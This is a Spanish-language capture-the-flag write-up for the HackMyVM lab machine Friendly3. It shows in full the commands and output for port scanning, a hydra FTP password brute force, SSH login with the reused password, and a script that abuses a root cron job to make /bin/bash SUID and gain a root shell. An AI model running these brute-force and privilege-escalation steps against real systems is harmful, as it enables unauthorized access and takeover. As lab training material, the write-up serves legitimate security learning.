HackMyVM - Friendly3
- Information leakage
- FTP Brute Force
- Password reuse FTP/SSH
- Cron Job Abuse
Escaneo de puertos
❯ nmap -p- -v -T5 -n 192.168.1.12
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
Escaneo de servicios
❯ nmap -sVC -v -p 21,22,80 192.168.1.12
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 9.2p1 Debian 2 (protocol 2.0)
| ssh-hostkey:
| 256 bc463d8518bfc7bb14269a206cd33952 (ECDSA)
|_ 256 7b135a46a5623309249d3e67b6eb3fa1 (ED25519)
80/tcp open http nginx 1.22.1
| http-methods:
|_ Supported Methods: GET HEAD
|_http-title: Welcome to nginx!
|_http-server-header: nginx/1.22.1
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
HTTP-TCP 80
Realizo fuerza bruta al usuario juan y consigo su contraseña para el servidor FTP.
❯ hydra -l juan -P /usr/share/wordlists/rockyou.txt ftp://192.168.1.12 -V -f -I
[21][ftp] host: 192.168.1.12 login: juan password: a****s
Me conecto al servidor FTP y veo bastantes archivos.
❯ ftp juan@192.168.1.12
Connected to 192.168.1.12.
220 (vsFTPd 3.0.3)
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
229 Entering Extended Passive Mode (|||50346|)
150 Here comes the directory listing.
drwxr-xr-x 14 0 0 4096 Jun 25 03:05 .
drwxr-xr-x 14 0 0 4096 Jun 25 03:05 ..
-rw-r--r-- 1 0 0 36 Jun 25 03:05 file80
drwxr-xr-x 2 0 0 4096 Jun 25 03:12 fold10
drwxr-xr-x 2 0 0 4096 Jun 25 02:59 fold11
drwxr-xr-x 2 0 0 4096 Jun 25 02:59 fold12
drwxr-xr-x 2 0 0 4096 Jun 25 02:59 fold13
drwxr-xr-x 2 0 0 4096 Jun 25 02:59 fold14
drwxr-xr-x 2 0 0 4096 Jun 25 02:59 fold15
drwxr-xr-x 2 0 0 4096 Jun 25 02:59 fold4
drwxr-xr-x 2 0 0 4096 Jun 25 03:05 fold5
drwxr-xr-x 2 0 0 4096 Jun 25 02:59 fold6
drwxr-xr-x 2 0 0 4096 Jun 25 02:59 fold7
drwxr-xr-x 2 0 0 4096 Jun 25 03:02 fold8
drwxr-xr-x 2 0 0 4096 Jun 25 02:59 fold9
-rw-r--r-- 1 0 0 58 Jun 25 03:05 fole32
226 Directory send OK.
Al no encontrar nada en los archivos del servidor FTP se me ocurre usar las credenciales para conectarme por SSH.
❯ ssh juan@192.168.1.12
juan@192.168.1.12's password:
Linux friendly3 6.1.0-9-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.27-1 (2023-05-08) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
juan@friendly3:~$
Una vez dentro enumero el sistema y encuentro check_for_install.sh
en el directorio /opt
.
juan@friendly3:~$ ls -la /opt
total 12
drwxr-xr-x 2 root root 4096 Jun 25 03:34 .
drwxr-xr-x 18 root root 4096 Jun 25 02:36 ..
-rwxr-xr-x 1 root root 190 Jun 25 03:34 check_for_install.sh
Con cat visualizo el contenido de check_for_install.sh
.
#!/bin/bash
/usr/bin/curl "http://127.0.0.1/9842734723948024.bash" > /tmp/a.bash
chmod +x /tmp/a.bash
chmod +r /tmp/a.bash
chmod +w /tmp/a.bash
/bin/bash /tmp/a.bash
rm -rf /tmp/a.bash
- El script utiliza curl para descargar el contenido de 9842734723948024.bash desde la dirección http://127.0.0.1/ y guarda el contenido en la siguiente ruta /tmp/a.bash.
- Luego, le otorga permisos de ejecución, lectura y escritura.
- Ejecuta el archivo descargado utilizando el intérprete de comandos bash.
- Finalmente, elimina el archivo descargado del sistema.
Me descargo pspy64
con curl.
juan@friendly3:/tmp$ curl https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64 -O pspy64
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0
Lanzo pspy64 y veo que check_for_install.sh
se ejecuta cada minuto.
Creo un script para obtener el root para automatizar los pasos ya que de forma manual es más engorroso.
#!/bin/bash
# Función para obtener los permisos del archivo
obtener_permisos() {
stat -c "%a" "/bin/bash"
}
# Crear archivo a.bash y agregar el comando chmod
echo "chmod 4755 $(which bash)" > a.bash
# Dar permisos de ejecución al archivo a.bash
chmod +x a.bash
# Obtener los permisos iniciales de /bin/bash
permisos_iniciales=$(obtener_permisos)
# Mostrar los permisos iniciales de /bin/bash
echo "[+] Permisos iniciales de /bin/bash: $permisos_iniciales"
# Bucle infinito para monitorear los cambios
while true; do
# Obtener los permisos actuales de /bin/bash
permisos_actuales=$(obtener_permisos)
# Comprobar si ha habido cambios en los permisos
if [ "$permisos_actuales" != "$permisos_iniciales" ]; then
echo "[+] Se detectó un cambio en los permisos de /bin/bash"
echo "[+] Permisos actuales de /bin/bash: $permisos_actuales"
# Ejecutar bash con privilegios
echo "[+] PWNED!"
bash -p
# Actualizar los permisos iniciales
permisos_iniciales="$permisos_actuales"
fi
# Esperar 1 segundo antes de comprobar de nuevo
sleep 1
done
Lanzo el script y obtengo el root.
juan@friendly3:/tmp$ ./privesc.sh
[+] Permisos iniciales de /bin/bash: 755
[+] Se detectó un cambio en los permisos de /bin/bash
[+] Permisos actuales de /bin/bash: 4755
[+] PWNED!
bash-5.2# id
uid=1001(juan) gid=1001(juan) euid=0(root) groups=1001(juan)
Y aquí termina la máquina Friendly3.
Saludos!